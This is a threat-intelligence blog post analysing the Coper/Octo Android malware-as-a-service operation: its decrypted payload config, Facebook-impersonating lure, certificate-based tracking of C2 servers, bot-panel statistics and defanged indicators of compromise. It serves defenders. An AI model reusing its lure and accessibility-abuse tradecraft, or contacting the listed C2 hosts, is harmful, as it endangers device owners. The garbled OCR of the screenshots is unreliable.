5B4a4921 TH42563254507 24740554662 30TB4DI6TT24374141584766500a6053 75616736
To Hexdump 2B3932783950696aT042 144c6b 20737 2T346453364656946466366445161465933T96e41
[ strict mede TE42476T40275T6¢ I0EA62444b 7 249684554 74395040 3BGTE2 21 72402450604 55561 0aTT
From Hexdump A1G1654c51473720Ta3BTG7261375038T434457258427 30d4 1352112784 33745 144 6T
753037 75635849363265353952 76317 20d644 0605621 7756345367 15507257 7461324079
URL Decade ® 32423002542 140696d2 17 34b4BEEES4 220 TT40005BA3E 1448406685 TERIEE 246430056
AES Decrypt 11 | 46594462555645 74585 14750605 17678502147 79294641025 624 260484b 44462283250
Regular expressicn Kew BFTR546e446d762bRa3 23663704 26644T756574597a57655249636d76683551446aT6T27T
HEX ~ S2IBSBS2TTHIA532547 80030335474 T 48444655694 57685740 354464 TTABEATA5 20058
Entropy 3534353639543261616165372 6b45354958587642463454374 100797555414 26 22354 18424760 306D I64BI 1204440 TE54
Wiode 417669507 TTE426454756605436552 /4644325633454 14346403561 75454070366a5650
Fork [ HEX = ECB 3B4137494aTa4 (68TA60346655T57538613100475940504d6e 6 T64TA52THA 3584561 TI3T
3446356d31313169764 1 5244616260445 T56Ta556b6aTI 1695361637 a3R457 740344632
M e Desput BhTETS6CTIISE643652bAT 40646053357 14042563543 350066646277745367696C3T5651
Raw Raw GaT16a466344456 577763034 744¢6362367252537340394dE84L305230E63664T15369
62661655860 3558496 2413458667 15aT5T544 36603542657 134463702697 06476713846
Data fermat EASIRAEAGT T 3AT AT RCHES LA TAS L ARTATI AT RARTY Y SO TRATA - SATATAY
PTG Tr b Bytes & LF
Encryption [ Encoding
Output BlD@E::
Public Kay
e P 2 )R UTE BRAETVA/2A 99133143 "Settings® other :
Arithmatic | Logic AES Key + ECB Mode [Notification accessIVAAUTC B2VVL/BTVA/24 89:33:43 'Settings' focused on
VALVE: [Android Setup, OFF, Facebook, OFF, Gboard, OFF, Pixel Launcher,
Hetworking Show notification dots, OFF]AARUTC @23\ BTW\N/Z4 89:33:44 "Sertings’
clicked on : [Facebook, OFFINARUTC S23\WATVO24 29:33:44 "Settings®
L go other @ [Allow notification access for Facebook?, Facebook will be able
to read all aotifications, including personal information such a3 contact
utils napes and the text of messages you receive. It will also be able to
disniss notifications ar trigger action buttens they contain. \wmAnThis
Date ] Time will also give the app the ability to turn Do Mot Disturb on or off and
change related settings., DEMY, ALLOWDAAAUTC @2VN/BTAN/24 89133145
“Settings’ clicked on : [ALLOW]\ARUTC @20\W/0T\\AL/24 00:33:45 “Settings’
Extractors Decrypted data > focused on VALUE: [Android Setup, OFF, Faceboak, OFF, Gboard, OFF, Pixel
Y Lavncher, Show notification dots, OFFIVWRUTC @2\ BT\N/24 85:33:45
Compression *Settings’ other : [Notification access]WAnUTC A2W\\/B7\\\ /24 89:33:46
“settings’ focused on \AAUTC O2W\A/BTWNW/24 09:33:46 ‘Settings® other :
Hashing IMedify systes settings]VWnlTC O2V\A/2TW\/24 99:33:46 "Settings® focused
on VALUE: [Facebook, 5.3, Allow modifying system settings, OFF, This
Code tidy permission allows an app to modify system settings.|\AnUTC B20\\OT0W24
29:33:47 'Settings” focused on VALUE: [Android Setup, OFF, Faccbook, ON,
Forenskes Gboard, OFF, Pixel Launcher, Show notification dots, OFF]\\nUTC @2%\W/0T\)
W24 09:33:47 'Settings” other : INotification access]y
Multimedia W, LB Facebook™, SbI" 1 * 2902 2480652315155 Tbe fd529a0aet , < 1A ¢, BdA)
b il | s T I 1o g RS 1T [l T o Tl 1=l L £ M
Giher "FpT ™ e TeR" “peras, "up"118,
FEL® ML wnct s, U TgH T tR tiAg" s false, " rTS 1 1TOT 208428}
Flew control

s D .

- S =0 © 33 Tr R Bytes 45 LF,

The output corresponds to the decrypted data, which contains all the parameters for this payload. Once beautified,

it becomes easier to read and understand.
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In this case, the payload is impersonating the Facebook application. We can also observe the language used in the
prompt to encourage the victim to activate the Accessibility Service permissions required for the bot to operate

fully.

In the bottom half of the screenshot, we observe further parameters being passed to provide information about the

victim host, for example:

e iA = 0: the trojan is NOT the default SMS manager

e iAc = 1: the trojan has Accessibility Services access

e iBC = 100: the device is at 100% charge

e kL = 1: the keylogger is enabled

e rTS =1707298428: the timestamp for the information provided (unix time corresponding to 7 February
2024 09:33:48)

The final bullet point serves as a lasting alibi for our malware analyst in case of the question “where were

you on 7 February at 9:30 am?”.

Having repeated this process on numerous occasions with different payloads, we found that the parameter IB can

offer up some interesting data points. In the case we have described in this blog, the IB parameter indicated the
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identity of the malicious spoofed application (Facebook) used as a lure.

In addition to Facebook, we have seen recent campaigns impersonating Google Chrome, as well as a number of

Poker applications.

However, in other cases, we have often observed the 1B parameter containing the value ‘apkcrypt’, indicating that
a different crypter had been used compared to the usual one we observe in the analysis of Coper/Octo. It is not
clear why this happened, but it may suggest that the malware author collaborates with more than one crypter

service.

It's the Same, but Different

As mentioned previously, Coper/Octo operates as a Malware-as-a-Service (MaaS) offering, with customization
placed into the hands of its customers. However, there are some constants (outside of elements of the malware

code) that we can focus on to identify connected infrastructure.
One such constant is the X.509 certificate utilized for Coper/Octo C2 servers.

Examining another C2 server to the one mentioned above, 91.240.118.224 appears to have been used in
Coper/Octo campaigns commencing on 5 February 2024, based on uploads to VirusTotal. Our own analysis of the

IP also identifies it as a Coper/Octo controller.

Identity
91.240.118.224 ==

Cirmaniratinn Nama
Organization Nam:

@

Malicious

Net Name AS Name ASN

Chang Way Technologies Co. Limited HK-CHANGWAY-20200113 CHANGWAY-AS, HK 57523

According to our data holdings, 91.240.118.224 appears to be hosting what seems to be a fairly generic X.509

certificate.

Timasiamg | Partin CHo At Hamasil Cir O Emal Subject 1 Hothfieris Haotibefore

BOO0A OXBES 01,240 = B 43 upa www sxumpleoom we | - Corvpany Chiswierampie com G Deparmers OuCompany s HOS-000 183408 040008 153638
20280209 160102 e W SLA PO AW ETOCOT e - Company = Chwwatasampss com OUs Depanmert Qo Company' e 2025-02-02 142428 20240203 182828
OO0 ONIEEE G 240 NIAZM i 6 B SE0 D) e i £ | Corvparny = ol armgen coem Ol Deparmens OuComptmy s 0050003 187498 0040003 182628
POPA-OT 1008 110 01 240 18T el B B 443 Pipal www saample.com e - Carrpany CHewwwsample com Gk Depanment Gulompany wed  205-00-00 187428 MQ400-08 162828
20260212 01D 5] 24011823 e B B S0 D W MO | - Company - W AT COMUCU P Tt ComEarny e PO2S-02-02 182428 2024-02-02 182628
DG 2 SEbdE . VB 43 PP www e o | Cormparsy = Coliwmam gl com G Deparsmont CnCompany wn SIS0 185438 DOR00.05 183636
DOPA-LT-13 X b N~ S0 PUDA AW ERETOACOM W - Company' O aaampio com Ol Deparimaert e Company i 2000202 157428 2024-400-03 182828
2024-0T-17 12} o W SR W MmO roT e - Corpany CRewww T com O Deparimart OuCompany ma  20E3-02-07 142428 2024-02-00 1827620
POPELT10 CB o S PR WA BT DT e . Corpany = Chiwwati SO0 COm U Deparymde L O Compary’ wia 20080000 147408 20P400:03 182878
PRIV CAITI 0 - SN W AT 00T e - Company = CNewww aampo ComOUs Deparimer L OuCompany ma 20000207 147420 200402-00 187828

However, when expanding our query to seek further examples of IPs hosting an X.509 certificate with a subject

value of ‘CN=www.example.com,0OU=Department,0=Company’, we find that there are surprisingly few

candidates.
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Timestamg! Pertiz  CHa AN amsan €l O Emui Subjest ETE etizafore:

P10 124300 G A4 ) W GG O e o Campadty . bl winmt T 5P e DO E O COMNSTY fees | SOPT-ORO08 140427 MOB120110 180427
FO2EOL-10 124303 i 4D L WA AT DO e - © CumpYy - Chi et ST COMOU Dpamet O COMpany mss | SOET-0008 140427 202312017 180427
O2E00-10 180707 6] () WS G e - < Cormpary - b s g oen O Departrres O Compamy s | 0T-00-08 206513 20001213 305012
MO MO0EA 3 443 (Wrpe) W aample COM i - + Comgany - CH ewa snample com Ol Departmert O Company was  3ibE. 1529 074058 2003-12.50 Ohed 38
FO2E0E-1T DDA AL hipe) www xample. COM e - - Caompany - S ewwwenample com Ol Deparimert OuComparny wes  2028-12-07 2001423 2023-12-18 20 12D
20260011 00208 214 400 (WTOAY e LTI DD i - + Company - Chl i ST OO, OL DDA O COMDATY fead | 2OPS- 1210 122300 20231220 120000

DL AT I we ARG - - Gampany - N s s om U Dapartmant Os Company wse | 028 BT RN Yy
FUPEAL-11 Q11684 AT ) W LTI GO e - -~ Campany - Cohdwwmom ermgin Horm Ol Departmert Ou Comoany wees | F093-10-01 1001733 S00R-10-00 1075
LGNV DTN 6 ) e wermxamile com e - -+ Gempany - Chiewwmmnampin com s Deparimert G Gompany s | FIRE-02-ER 20010 2023-12-20 210
FUPLOLT QNS A N ) W AT SO e © amgany - Chl et el S0 CU DepanmirE D COmpaiy mas | JORE 1019 303410 00312000 3310

In total, we found 84 other IPs hosting a certificate that matched the same subject value, dating back to mid-
January 2024.

A search of Censys records returned a similarly low number of results.

s = ) e m

’ Censgs (services tls.cenificates leaf_data subjeet_dn="0=Company, QUsDepartment, CNewaowccample, com’)
Host Filters Hosts
Resulis: 64 Time: 0.06s
Labels: ¢ e
80 remote-access - 83.97.73.144

1 ie-shatng Slnux & REDBYTES (208312} ¢ Moscow, Russia

1 login-page ——

1 web.controk P

panel hosting 22/55H @ 443HTTP

Autonomous System:

15 CHANGWAY-AS
% CATTECHNOLOGIES-AS

L 148.251.67.239 (148.251.67.239)
GLinug O HETZNER-AS (24940)  © Saxony, Germany

i th-nocats |
9 LIMENET \Emetheren)
& REDBYTES 22/85H G 443/HTTP
3 DE-FIRSTCOLO
e first-colo.net =~ 185.198.69.110

When we analyzed the resulting IPs, we found that, aside from a small number of false positives, this certificate
value was a strong indicator of Coper/Octo infrastructure. The majority of the servers we identified as Coper/Octo

were located in Russia or the Netherlands.

Additionally, we observed that while the certificates mainly appeared to be generated for each new C2 server,
there was also evidence of Coper/Octo customers moving their infrastructure. In these cases, we found that the
certificate serial number and associated C2 URL string remained the same, even when moving from one IP

address to another, as illustrated below.
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Having filtered out false positives, we are now able to monitor all active C2 servers to gain a high-level

understanding of current campaigns, drawing out the number of victims and the regions targeted.

Returning to 91.240.118.224 as an example, at the time of our analysis we found that it had 486 bots connected to

it, with approximately 80% of these victims located in Turkey.
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TOTAL:
bots:486
bots_tasks:886
errors:24
injects:
sms:1044
vnc_tasks:0
active_vncs:1

STATS:
country:total,alive,offline,dead, installed_today
tr:395,79,101,215,201
?7:23,2,5,16,11
sy:1,0,0,1,0
ro:1,0,1,0,0
us:34,0,6,28,26
nl:2,0,2,0,0

de:1,1,0,0,0
br:1,0,1,0,0
no:1,0,1,0,0
fr:2,0,2,0,1
ca:1,0,1,0,0
lu:1,1,0,0,0
cy:4,0,2,2,4
iq:1,0,0,1,1
ir:1,0,1,0,1
1t:1,9,1,8,1
in:1,0,1,0,1
au:1,0,1,0,1
jp:1,0,1,0,1
gb:1,1,0,0,1
es:11,0,11,0,11
pl:1,1,0,0,1

ALIVE TOTAL: 85

Expanding this to look at all active Coper/Octo C2 servers we were aware of at the time of this analysis, we found

there to be a total of nearly 45,000 bots, with nearly 700,000 SMS messages intercepted from them.

When mapping out the locations of the victims, four countries stand out in particular as being heavily targeted by

Coper/Octo campaigns (disclaimer - at the time of our analysis): Portugal, Spain, Turkey, and the United States.
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Conclusion

In conclusion, this analysis of the Coper/Octo Android malware-as-a-service operation sheds light on the
sophisticated and evolving nature of mobile malware threats. From its origins in the Exobot family to its current
status as a full-fledged malware service, Coper/Octo represents a potential risk to Android users worldwide. Its
range of capabilities, including keylogging, injects, and VNC remote access, underscores the need for heightened

vigilance and security measures among mobile device users.

Furthermore, the examination of Coper/Octo's infrastructure and targeting strategies highlights the global reach
and strategic focus of its operators. By understanding the intricacies of its command-and-control infrastructure and
victim targeting patterns, security researchers can better mitigate the threat posed by this malware and protect

users from falling victim to its malicious activities.

As the threat landscape continues to evolve, it is imperative for both users and security professionals to remain
proactive in identifying and addressing emerging threats like Coper/Octo. By staying informed about the latest
developments in mobile malware and implementing robust security measures, we can collectively work towards a

safer and more secure mobile ecosystem for all users.

Recommendations

e Users of Pure Signal™ Recon can identify Coper/Octo infrastructure based on tags, and gain more

precision with an X.509 query using the following parameters:
O: Company
CN: www.example.com
Subject: OU=Department

Port: 443
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e Users of Pure Signal™ Scout can use the advanced query language to identify Coper/Octo infrastructure
based on tags.

o Ensure that all mobile devices, particularly Android devices, are running the latest operating system
updates and security patches. These updates often include fixes for vulnerabilities that malware like
Coper/Octo may exploit.

e Consider installing reputable antivirus software on Android devices to detect and remove malware
infections. Regularly scan devices for suspicious activity and malware signatures.

e Be vigilant when downloading and installing applications from third-party sources or unknown developers.

Indicators of Compromise

https://karmelinanoonethousandbaby[. Jnet/YzI4MGFhZjI2MmM5/

https://2.57.149[.1150/ZTIWNDEzZjMA4YjYw/

https://2istanbullu2586[.]xyz/ZTIwNDEzZjM4YjYw/

https://03c31x4fqdw2[.lMTU20WEONZJjNGY5/
https://0n75w55jyk66[.Jpw/MTU20WEONzJjNGY5/

https://91.240.118][.]224/NjQyNDcyMjE3ZWU3/

https://sanagerekkalmaz1453[.]shop/MTFiMzQ4NGQ2MWU4/

https://185.122.204[.]1122/MDVIiMDU3NDYwMTBm/

Source: https://www.team-cymru.com/post/coper-octo-a-conductor-for-mobile-mayhem-with-eight-limbs
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